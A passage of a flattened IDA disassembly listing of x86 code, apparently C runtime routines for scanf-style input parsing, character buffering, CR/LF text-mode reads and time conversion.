inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_4380D0 add esp, 0Ch jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B17B: ; CODE XREF: sub_41AD3D+20Cj cmp [ebp+var_20], eax jnz short loc_41B18A inc [ebp+var_C] mov [ebp+var_20], 1 loc_41B18A: ; CODE XREF: sub_41AD3D+441j cmp [ebp+var_5], 0 jle short loc_41B194 mov [ebp+var_16], 1 loc_41B194: ; CODE XREF: sub_41AD3D+451j mov edi, offset dword_438100 jmp loc_41B2A9 ; --------------------------------------------------------------------------- loc_41B19E: ; CODE XREF: sub_41AD3D+1FDj mov eax, esi sub eax, 70h jz loc_41B44C sub eax, 3 jz loc_41B29A dec eax dec eax jz loc_41B450 sub eax, 3 jz loc_41AF86 sub eax, 3 jz short loc_41B1EC loc_41B1C8: ; CODE XREF: sub_41AD3D+21Bj ; sub_41AD3D+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41B713 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41B6A4 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41AD3D+489j cmp [ebp+var_5], 0 jle short loc_41B1F6 mov [ebp+var_16], 1 loc_41B1F6: ; CODE XREF: sub_41AD3D+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41B2AD mov eax, edi lea edi, [eax+1] jmp loc_41B2A9 ; --------------------------------------------------------------------------- loc_41B210: ; CODE XREF: sub_41AD3D+24Fj cmp ebx, 2Bh jnz short loc_41B237 loc_41B215: ; CODE XREF: sub_41AD3D+259j dec [ebp+var_C] jnz short loc_41B226 cmp [ebp+var_20], 0 jz short loc_41B226 mov [ebp+var_F], 1 jmp short loc_41B237 ; --------------------------------------------------------------------------- loc_41B226: ; CODE XREF: sub_41AD3D+4DBj ; sub_41AD3D+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B237: ; CODE XREF: sub_41AD3D+4D6j ; sub_41AD3D+4E7j cmp ebx, 30h jnz loc_41B485 push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41B285 cmp bl, 58h jz short loc_41B285 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41B26F push 6Fh loc_41B269: ; CODE XREF: sub_41AD3D+55Bj pop esi jmp loc_41B485 ; --------------------------------------------------------------------------- loc_41B26F: ; CODE XREF: sub_41AD3D+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B7B3 pop ecx pop ecx push 30h pop ebx jmp loc_41B482 ; --------------------------------------------------------------------------- loc_41B285: ; CODE XREF: sub_41AD3D+517j ; sub_41AD3D+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41B269 ; --------------------------------------------------------------------------- loc_41B29A: ; CODE XREF: sub_41AD3D+46Fj cmp [ebp+var_5], 0 jle short loc_41B2A4 mov [ebp+var_16], 1 loc_41B2A4: ; CODE XREF: sub_41AD3D+561j mov edi, offset dword_4380F8 loc_41B2A9: ; CODE XREF: sub_41AD3D+45Cj ; sub_41AD3D+4CEj or [ebp+var_18], 0FFh loc_41B2AD: ; CODE XREF: sub_41AD3D+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_415570 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41B2D1 cmp byte ptr [edi], 5Dh jnz short loc_41B2D1 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41B2D4 ; --------------------------------------------------------------------------- loc_41B2D1: ; CODE XREF: sub_41AD3D+584j ; sub_41AD3D+589j mov dl, [ebp+var_35] loc_41B2D4: ; CODE XREF: sub_41AD3D+592j ; sub_41AD3D+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41B339 inc edi cmp al, 2Dh jnz short loc_41B320 test dl, dl jz short loc_41B320 mov cl, [edi] cmp cl, 5Dh jz short loc_41B320 inc edi cmp dl, cl jnb short loc_41B2F3 mov al, cl jmp short loc_41B2F7 ; --------------------------------------------------------------------------- loc_41B2F3: ; CODE XREF: sub_41AD3D+5B0j mov al, dl mov dl, cl loc_41B2F7: ; CODE XREF: sub_41AD3D+5B4j cmp dl, al ja short loc_41B31C movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41B304: ; CODE XREF: sub_41AD3D+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41B304 loc_41B31C: ; CODE XREF: sub_41AD3D+5BCj xor dl, dl jmp short loc_41B2D4 ; --------------------------------------------------------------------------- loc_41B320: ; CODE XREF: sub_41AD3D+5A0j ; sub_41AD3D+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41B2D4 ; --------------------------------------------------------------------------- loc_41B339: ; CODE XREF: sub_41AD3D+59Bj cmp byte ptr [edi], 0 jz loc_41B743 cmp [ebp+var_3C], 7Bh jnz short loc_41B34B mov [ebp+arg_4], edi loc_41B34B: ; CODE XREF: sub_41AD3D+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41B7B3 pop ecx pop ecx loc_41B362: ; CODE XREF: sub_41AD3D+6BCj ; sub_41AD3D+6C4j cmp [ebp+var_20], 0 jz short loc_41B376 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41B412 loc_41B376: ; CODE XREF: sub_41AD3D+629j inc [ebp+var_4] push edi call sub_41B799 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41B406 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41B406 cmp [ebp+var_E], 0 jnz short loc_41B3FE cmp [ebp+var_16], 0 jz short loc_41B3F3 mov ecx, off_437D90 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41B3D2 inc [ebp+var_4] push edi call sub_41B799 pop ecx mov [ebp+var_37], al loc_41B3D2: ; CODE XREF: sub_41AD3D+686j push dword_437F9C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41DFCD mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41B3F6 ; --------------------------------------------------------------------------- loc_41B3F3: ; CODE XREF: sub_41AD3D+673j mov [esi], al inc esi loc_41B3F6: ; CODE XREF: sub_41AD3D+6B4j mov [ebp+var_2C], esi jmp loc_41B362 ; --------------------------------------------------------------------------- loc_41B3FE: ; CODE XREF: sub_41AD3D+66Dj inc [ebp+var_30] jmp loc_41B362 ; --------------------------------------------------------------------------- loc_41B406: ; CODE XREF: sub_41AD3D+649j ; sub_41AD3D+667j dec [ebp+var_4] push edi push eax call sub_41B7B3 pop ecx pop ecx loc_41B412: ; CODE XREF: sub_41AD3D+633j cmp [ebp+var_30], esi jz loc_41B743 cmp [ebp+var_E], 0 jnz loc_41B6A4 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41B6A4 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41B444 and word ptr [eax], 0 jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B444: ; CODE XREF: sub_41AD3D+6FCj and byte ptr [eax], 0 jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B44C: ; CODE XREF: sub_41AD3D+466j mov [ebp+var_D], 1 loc_41B450: ; CODE XREF: sub_41AD3D+203j ; sub_41AD3D+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41B45E mov [ebp+var_17], 1 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B45E: ; CODE XREF: sub_41AD3D+719j cmp ebx, 2Bh jnz short loc_41B485 loc_41B463: ; CODE XREF: sub_41AD3D+71Fj dec [ebp+var_C] jnz short loc_41B474 cmp [ebp+var_20], 0 jz short loc_41B474 mov [ebp+var_F], 1 jmp short loc_41B485 ; --------------------------------------------------------------------------- loc_41B474: ; CODE XREF: sub_41AD3D+729j ; sub_41AD3D+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 pop ecx mov ebx, eax loc_41B482: ; CODE XREF: sub_41AD3D+543j mov [ebp+var_14], ebx loc_41B485: ; CODE XREF: sub_41AD3D+4FDj ; sub_41AD3D+52Dj ... cmp [ebp+var_30], 0 jz loc_41B59E cmp [ebp+var_F], 0 jnz loc_41B57C loc_41B499: ; CODE XREF: sub_41AD3D+82Cj cmp esi, 78h jnz short loc_41B4ED cmp dword_437F9C, 1 jle short loc_41B4B6 push 80h push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B4C3 ; --------------------------------------------------------------------------- loc_41B4B6: ; CODE XREF: sub_41AD3D+768j mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 80h loc_41B4C3: ; CODE XREF: sub_41AD3D+777j test eax, eax jz loc_41B56E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41E0C0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41B762 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B540 ; --------------------------------------------------------------------------- loc_41B4ED: ; CODE XREF: sub_41AD3D+75Fj cmp dword_437F9C, 1 jle short loc_41B502 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B50D ; --------------------------------------------------------------------------- loc_41B502: ; CODE XREF: sub_41AD3D+7B7j mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 4 loc_41B50D: ; CODE XREF: sub_41AD3D+7C3j test eax, eax jz short loc_41B56E cmp esi, 6Fh jnz short loc_41B52B cmp ebx, 38h jge short loc_41B56E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41E0C0 jmp short loc_41B53A ; --------------------------------------------------------------------------- loc_41B52B: ; CODE XREF: sub_41AD3D+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4159A0 loc_41B53A: ; CODE XREF: sub_41AD3D+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41B540: ; CODE XREF: sub_41AD3D+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41B558 dec [ebp+var_C] jz short loc_41B57C loc_41B558: ; CODE XREF: sub_41AD3D+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41B499 ; --------------------------------------------------------------------------- loc_41B56E: ; CODE XREF: sub_41AD3D+788j ; sub_41AD3D+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B7B3 pop ecx pop ecx loc_41B57C: ; CODE XREF: sub_41AD3D+756j ; sub_41AD3D+819j cmp [ebp+var_17], 0 jz loc_41B662 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41B662 ; --------------------------------------------------------------------------- loc_41B59E: ; CODE XREF: sub_41AD3D+74Cj cmp [ebp+var_F], 0 jnz loc_41B65A loc_41B5A8: ; CODE XREF: sub_41AD3D+90Aj cmp esi, 78h jz short loc_41B5EC cmp esi, 70h jz short loc_41B5EC cmp dword_437F9C, 1 jle short loc_41B5C7 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B5D2 ; --------------------------------------------------------------------------- loc_41B5C7: ; CODE XREF: sub_41AD3D+87Cj mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 4 loc_41B5D2: ; CODE XREF: sub_41AD3D+888j test eax, eax jz short loc_41B64C cmp esi, 6Fh jnz short loc_41B5E5 cmp ebx, 38h jge short loc_41B64C shl edi, 3 jmp short loc_41B624 ; --------------------------------------------------------------------------- loc_41B5E5: ; CODE XREF: sub_41AD3D+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41B624 ; --------------------------------------------------------------------------- loc_41B5EC: ; CODE XREF: sub_41AD3D+86Ej ; sub_41AD3D+873j cmp dword_437F9C, 1 jle short loc_41B604 push 80h push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B611 ; --------------------------------------------------------------------------- loc_41B604: ; CODE XREF: sub_41AD3D+8B6j mov eax, off_437D90 mov al, [eax+ebx*2] and eax, 80h loc_41B611: ; CODE XREF: sub_41AD3D+8C5j test eax, eax jz short loc_41B64C push ebx shl edi, 4 call sub_41B762 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B624: ; CODE XREF: sub_41AD3D+8A6j ; sub_41AD3D+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41B636 dec [ebp+var_C] jz short loc_41B65A loc_41B636: ; CODE XREF: sub_41AD3D+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41B5A8 ; --------------------------------------------------------------------------- loc_41B64C: ; CODE XREF: sub_41AD3D+897j ; sub_41AD3D+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B7B3 pop ecx pop ecx loc_41B65A: ; CODE XREF: sub_41AD3D+865j ; sub_41AD3D+8F7j cmp [ebp+var_17], 0 jz short loc_41B662 neg edi loc_41B662: ; CODE XREF: sub_41AD3D+843j ; sub_41AD3D+85Cj ... cmp esi, 46h jnz short loc_41B66B and [ebp+var_1C], 0 loc_41B66B: ; CODE XREF: sub_41AD3D+928j cmp [ebp+var_1C], 0 jz loc_41B743 cmp [ebp+var_E], 0 jnz short loc_41B6A4 inc [ebp+var_34] loc_41B67E: ; CODE XREF: sub_41AD3D+23Bj cmp [ebp+var_30], 0 jz short loc_41B694 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B694: ; CODE XREF: sub_41AD3D+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41B6A1 mov [eax], edi jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B6A1: ; CODE XREF: sub_41AD3D+95Ej mov [eax], di loc_41B6A4: ; CODE XREF: sub_41AD3D+241j ; sub_41AD3D+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41B6F1 ; --------------------------------------------------------------------------- loc_41B6AF: ; CODE XREF: sub_41AD3D+93j inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41B71E mov ecx, off_437D90 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41B6F1 inc [ebp+var_4] push edi call sub_41B799 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41B72C dec [ebp+var_4] loc_41B6F1: ; CODE XREF: sub_41AD3D+970j ; sub_41AD3D+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B707 cmp byte ptr [esi], 25h jnz short loc_41B749 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41B749 mov esi, eax loc_41B707: ; CODE XREF: sub_41AD3D+9B8j mov al, [esi] test al, al jnz loc_41AD67 jmp short loc_41B743 ; --------------------------------------------------------------------------- loc_41B713: ; CODE XREF: sub_41AD3D+1F4j ; sub_41AD3D+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41B723 ; --------------------------------------------------------------------------- loc_41B71E: ; CODE XREF: sub_41AD3D+98Aj dec [ebp+var_4] push edi push ebx loc_41B723: ; CODE XREF: sub_41AD3D+9DFj call sub_41B7B3 pop ecx pop ecx jmp short loc_41B743 ; --------------------------------------------------------------------------- loc_41B72C: ; CODE XREF: sub_41AD3D+9AFj dec [ebp+var_4] push edi push eax call sub_41B7B3 dec [ebp+var_4] push edi push ebx call sub_41B7B3 add esp, 10h loc_41B743: ; CODE XREF: sub_41AD3D+1Fj ; sub_41AD3D+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41B75A loc_41B749: ; CODE XREF: sub_41AD3D+9BDj ; sub_41AD3D+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41B75D cmp [ebp+var_15], al jnz short loc_41B75D or eax, 0FFFFFFFFh jmp short loc_41B75D ; --------------------------------------------------------------------------- loc_41B75A: ; CODE XREF: sub_41AD3D+A0Aj mov eax, [ebp+var_34] loc_41B75D: ; CODE XREF: sub_41AD3D+A11j ; sub_41AD3D+A16j ... pop edi pop esi pop ebx leave retn sub_41AD3D endp ; =============== S U B R O U T I N E ======================================= sub_41B762 proc near ; CODE XREF: sub_41AD3D+7A3p ; sub_41AD3D+8DCp arg_0 = dword ptr 4 cmp dword_437F9C, 1 push esi jle short loc_41B77C mov esi, [esp+4+arg_0] push 4 push esi call sub_418556 pop ecx pop ecx jmp short loc_41B78B ; --------------------------------------------------------------------------- loc_41B77C: ; CODE XREF: sub_41B762+8j mov esi, [esp+4+arg_0] mov eax, off_437D90 mov al, [eax+esi*2] and eax, 4 loc_41B78B: ; CODE XREF: sub_41B762+18j test eax, eax jnz short loc_41B795 and esi, 0FFFFFFDFh sub esi, 7 loc_41B795: ; CODE XREF: sub_41B762+2Bj mov eax, esi pop esi retn sub_41B762 endp ; =============== S U B R O U T I N E ======================================= sub_41B799 proc near ; CODE XREF: sub_41AD3D+1E1p ; sub_41AD3D+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41B7AB mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41B7AB: ; CODE XREF: sub_41B799+7j push edx call sub_41B8B0 pop ecx retn sub_41B799 endp ; =============== S U B R O U T I N E ======================================= sub_41B7B3 proc near ; CODE XREF: sub_41AD3D+6Bp ; sub_41AD3D+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41B7C9 push [esp+arg_4] push [esp+4+arg_0] call sub_41E0DF pop ecx pop ecx locret_41B7C9: ; CODE XREF: sub_41B7B3+5j retn sub_41B7B3 endp ; =============== S U B R O U T I N E ======================================= sub_41B7CA proc near ; CODE XREF: sub_41AD3D+63p ; sub_41AD3D+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41B7D0: ; CODE XREF: sub_41B7CA+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41B799 mov edi, eax push edi call sub_41E095 pop ecx test eax, eax pop ecx jnz short loc_41B7D0 mov eax, edi pop edi pop esi retn sub_41B7CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B7EE proc near ; CODE XREF: sub_416AD4+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41B8AA cmp ebx, 8Ah jg loc_41B8AA push esi push edi mov edi, [ebp+arg_4] mov esi, dword_438824[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41B82D cmp edi, 2 jle short loc_41B82D inc esi loc_41B82D: ; CODE XREF: sub_41B7EE+37j ; sub_41B7EE+3Cj call sub_41E14D mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_438740 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41B8A0 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41B8A6 cmp dword_438744, 0 jz short loc_41B8A6 lea eax, [ebp+var_24] push eax call sub_41E3C0 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41B8A6 loc_41B8A0: ; CODE XREF: sub_41B7EE+90j add ecx, dword_438748 loc_41B8A6: ; CODE XREF: sub_41B7EE+96j ; sub_41B7EE+9Fj ... mov eax, ecx jmp short loc_41B8AD ; --------------------------------------------------------------------------- loc_41B8AA: ; CODE XREF: sub_41B7EE+13j ; sub_41B7EE+1Fj or eax, 0FFFFFFFFh loc_41B8AD: ; CODE XREF: sub_41B7EE+BAj pop ebx leave retn sub_41B7EE endp ; =============== S U B R O U T I N E ======================================= sub_41B8B0 proc near ; CODE XREF: sub_416BB0+A9p ; sub_41713C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41B984 test al, 40h jnz loc_41B984 test al, 2 jz short loc_41B8D6 or al, 20h mov [esi+0Ch], eax jmp loc_41B984 ; --------------------------------------------------------------------------- loc_41B8D6: ; CODE XREF: sub_41B8B0+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41B8EA push esi call sub_41D06C pop ecx jmp short loc_41B8EF ; --------------------------------------------------------------------------- loc_41B8EA: ; CODE XREF: sub_41B8B0+2Fj mov eax, [esi+8] mov [esi], eax loc_41B8EF: ; CODE XREF: sub_41B8B0+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41B989 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41B973 cmp eax, 0FFFFFFFFh jz short loc_41B973 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41B948 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41B931 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_46A7E0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41B936 ; --------------------------------------------------------------------------- loc_41B931: ; CODE XREF: sub_41B8B0+6Bj mov edi, offset dword_4383F0 loc_41B936: ; CODE XREF: sub_41B8B0+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41B948 or dh, 20h mov [esi+0Ch], edx loc_41B948: ; CODE XREF: sub_41B8B0+62j ; sub_41B8B0+90j cmp dword ptr [esi+18h], 200h jnz short loc_41B965 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41B965 test ch, 4 jnz short loc_41B965 mov dword ptr [esi+18h], 1000h loc_41B965: ; CODE XREF: sub_41B8B0+9Fj ; sub_41B8B0+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B8B0+55j ; sub_41B8B0+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41B984: ; CODE XREF: sub_41B8B0+Aj ; sub_41B8B0+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41B8B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B989 proc near ; CODE XREF: sub_416BB0+90p ; sub_41B8B0+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_46A8E0 jnb loc_41BB66 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:46A7E0h[eax*4] mov eax, dword_46A7E0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41BB66 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41BA3E test dl, 2 jnz short loc_41BA3E test dl, 48h jz short loc_41B9FE mov al, [eax+5] cmp al, 0Ah jz short loc_41B9FE dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41B9FE: ; CODE XREF: sub_41B989+56j ; sub_41B989+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_421068 test eax, eax jnz short loc_41BA51 call dword_421088 push 5 pop ecx cmp eax, ecx jnz short loc_41BA39 mov dword_4694B4, 9 mov dword_4694B8, ecx jmp loc_41BB77 ; --------------------------------------------------------------------------- loc_41BA39: ; CODE XREF: sub_41B989+99j cmp eax, 6Dh jnz short loc_41BA45 loc_41BA3E: ; CODE XREF: sub_41B989+4Cj ; sub_41B989+51j xor eax, eax jmp loc_41BB7A ; --------------------------------------------------------------------------- loc_41BA45: ; CODE XREF: sub_41B989+B3j push eax call sub_41C5D7 pop ecx jmp loc_41BB77 ; --------------------------------------------------------------------------- loc_41BA51: ; CODE XREF: sub_41B989+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41BB61 test edx, edx jz short loc_41BA76 cmp byte ptr [edi], 0Ah jnz short loc_41BA76 or al, 4 jmp short loc_41BA78 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41B989+E2j ; sub_41B989+E7j and al, 0FBh loc_41BA78: ; CODE XREF: sub_41B989+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41BB5B loc_41BA90: ; CODE XREF: sub_41B989+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41BB4B cmp al, 0Dh jz short loc_41BAAC mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41BB3D ; --------------------------------------------------------------------------- loc_41BAAC: ; CODE XREF: sub_41B989+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41BACA mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41BAC1 add [ebp+arg_8], 2 jmp short loc_41BB1F ; --------------------------------------------------------------------------- loc_41BAC1: ; CODE XREF: sub_41B989+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BACA: ; CODE XREF: sub_41B989+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_421068 test eax, eax jnz short loc_41BAF2 call dword_421088 test eax, eax jnz short loc_41BB39 loc_41BAF2: ; CODE XREF: sub_41B989+15Dj cmp [ebp+var_C], 0 jz short loc_41BB39 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41BB14 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41BB1F mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB14: ; CODE XREF: sub_41B989+176j cmp edi, [ebp+arg_4] jnz short loc_41BB24 cmp [ebp+var_1], 0Ah jnz short loc_41BB24 loc_41BB1F: ; CODE XREF: sub_41B989+136j ; sub_41B989+17Dj mov byte ptr [edi], 0Ah jmp short loc_41BB3C ; --------------------------------------------------------------------------- loc_41BB24: ; CODE XREF: sub_41B989+18Ej ; sub_41B989+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41BB7F add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41BB3D loc_41BB39: ; CODE XREF: sub_41B989+167j ; sub_41B989+16Dj mov byte ptr [edi], 0Dh loc_41BB3C: ; CODE XREF: sub_41B989+199j inc edi loc_41BB3D: ; CODE XREF: sub_41B989+11Ej ; sub_41B989+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41BA90 jmp short loc_41BB5B ; --------------------------------------------------------------------------- loc_41BB4B: ; CODE XREF: sub_41B989+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41BB5B or al, 2 mov [esi], al loc_41BB5B: ; CODE XREF: sub_41B989+101j ; sub_41B989+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41BB61: ; CODE XREF: sub_41B989+DAj mov eax, [ebp+var_8] jmp short loc_41BB7A ; --------------------------------------------------------------------------- loc_41BB66: ; CODE XREF: 